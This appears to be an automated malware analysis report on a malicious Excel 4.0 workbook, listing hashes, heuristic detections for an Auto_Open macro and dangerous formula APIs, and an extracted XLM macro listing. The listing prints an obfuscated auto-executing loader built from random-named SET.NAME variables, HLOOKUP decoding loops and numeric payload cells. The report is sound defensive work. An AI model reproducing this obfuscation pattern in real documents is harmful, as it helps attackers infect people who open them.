Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e1b7a6045d694643…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:45 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 16b124e19fbdc794f4bf0db319bf714d SHA-1: b6c03490e76ac0c586947997fc8cf85da0edcb39 SHA-256: e1b7a6045d694643eed165995a951eb10213cb2740827861217ce7fbbd6d0c45
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6676 bytes
SHA-256: 15ea7f19e11b145a4a9a6ea9064fefa83eef28f10264f469ccf39e162f2993ee
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TXJt
' 0018     20 LABEL : Cell Value, String Constant - aomiH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D181 
' 0018     25 LABEL : Cell Value, String Constant - EaVsKOYOhD len=0 
' 0018     23 LABEL : Cell Value, String Constant - enzPEbZU len=0 
' 0018     21 LABEL : Cell Value, String Constant - FvCFbX len=0 
' 0018     21 LABEL : Cell Value, String Constant - HdtMKg len=0 
' 0018     25 LABEL : Cell Value, String Constant - JhIaNcgqJG len=0 
' 0018     27 LABEL : Cell Value, String Constant - KcCkCziejcwO len=0 
' 0018     24 LABEL : Cell Value, String Constant - MPwyZumHG len=0 
' 0018     23 LABEL : Cell Value, String Constant - oSGanRjW len=0 
' 0018     27 LABEL : Cell Value, String Constant - pbhqLlfGFPbp len=0 
' 0018     20 LABEL : Cell Value, String Constant - putSM len=0 
' 0018     25 LABEL : Cell Value, String Constant - qIMXBmkKPG len=0 
' 0018     24 LABEL : Cell Value, String Constant - rLABolpai len=0 
' 0018     23 LABEL : Cell Value, String Constant - SzckZRSH len=0 
' 0018     25 LABEL : Cell Value, String Constant - UApkeeCeUb len=0 
' 0018     25 LABEL : Cell Value, String Constant - UmhsnmmLMY len=0 
' 0018     24 LABEL : Cell Value, String Constant - viyUGusxR len=0 
' 0018     27 LABEL : Cell Value, String Constant - wBrQRkUfcDGC len=0 
' 0018     20 LABEL : Cell Value, String Constant - XmdHf len=0 
' 0018     26 LABEL : Cell Value, String Constant - ySnEJSvLRvl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TXJt,T74,"",-532.00000000000000000000
'  TXJt,T75,"",666.00000000000000000000
'  TXJt,T76,"",583.00000000000000000000
'  TXJt,T77,"",74.00000000000000000000
'  TXJt,T78,"",-166.00000000000000000000
'  TXJt,T79,"",-625.00000000000000000000
'  TXJt,D101,"SET.NAME("aomiH",0+VALUE("0"))",""
'  TXJt,D105,"SET.NAME("KcCkCziejcwO",aomiH)",""
'  TXJt,D109,"SET.NAME("rLABolpai",aomiH)",""
'  TXJt,D111,"SET.NAME("putSM",COUNTA(UmhsnmmLMY))",""
'  TXJt,D113,"SET.NAME("HdtMKg",COUNTA(qIMXBmkKPG))",""
'  TXJt,D115,[],""
'  TXJt,D117,"SET.NAME("enzPEbZU","")",""
'  TXJt,D122,"KcCkCziejcwO",""
'  TXJt,D126,"SET.NAME("FvCFbX",HLOOKUP("*",UmhsnmmLMY,KcCkCziejcwO,FALSE))",""
'  TXJt,D128,"XmdHf",""
'  TXJt,D132,"SET.NAME("viyUGusxR",aomiH)",""
'  TXJt,D135,[],""
'  TXJt,D137,"viyUGusxR",""
'  TXJt,D139,"UApkeeCeUb",""
'  TXJt,D143,"pbhqLlfGFPbp",""
'  TXJt,D148,"MPwyZumHG",""
'  TXJt,D153,"SET.NAME("oSGanRjW",VALUE(HLOOKUP("*",qIMXBmkKPG,MPwyZumHG,FALSE)))",""
'  TXJt,D155,"SzckZRSH",""
'  TXJt,D160,"enzPEbZU",""
'  TXJt,D163,"rLABolpai",""
'  TXJt,D165,NEXT(),""
'  TXJt,D170,"EaVsKOYOhD",""
'  TXJt,D172,[],""
'  TXJt,D174,"wBrQRkUfcDGC",""
'  TXJt,D177,NEXT(),""
'  TXJt,D179,RETURN(),""
'  TXJt,D199,"SET.NAME("JhIaNcgqJG",D101)",""
'  TXJt,D201,"UmhsnmmLMY",""
'  TXJt,D205,"SET.NAME("qIMXBmkKPG",R68C12)",""
'  TXJt,D210,"SET.NAME("wBrQRkUfcDGC",218)",""
'  TXJt,D212,"SET.NAME("ySnEJSvLRvl",4)",""
'  TXJt,D217,JhIaNcgqJG(),""
'  TXJt,D218,HALT(),""

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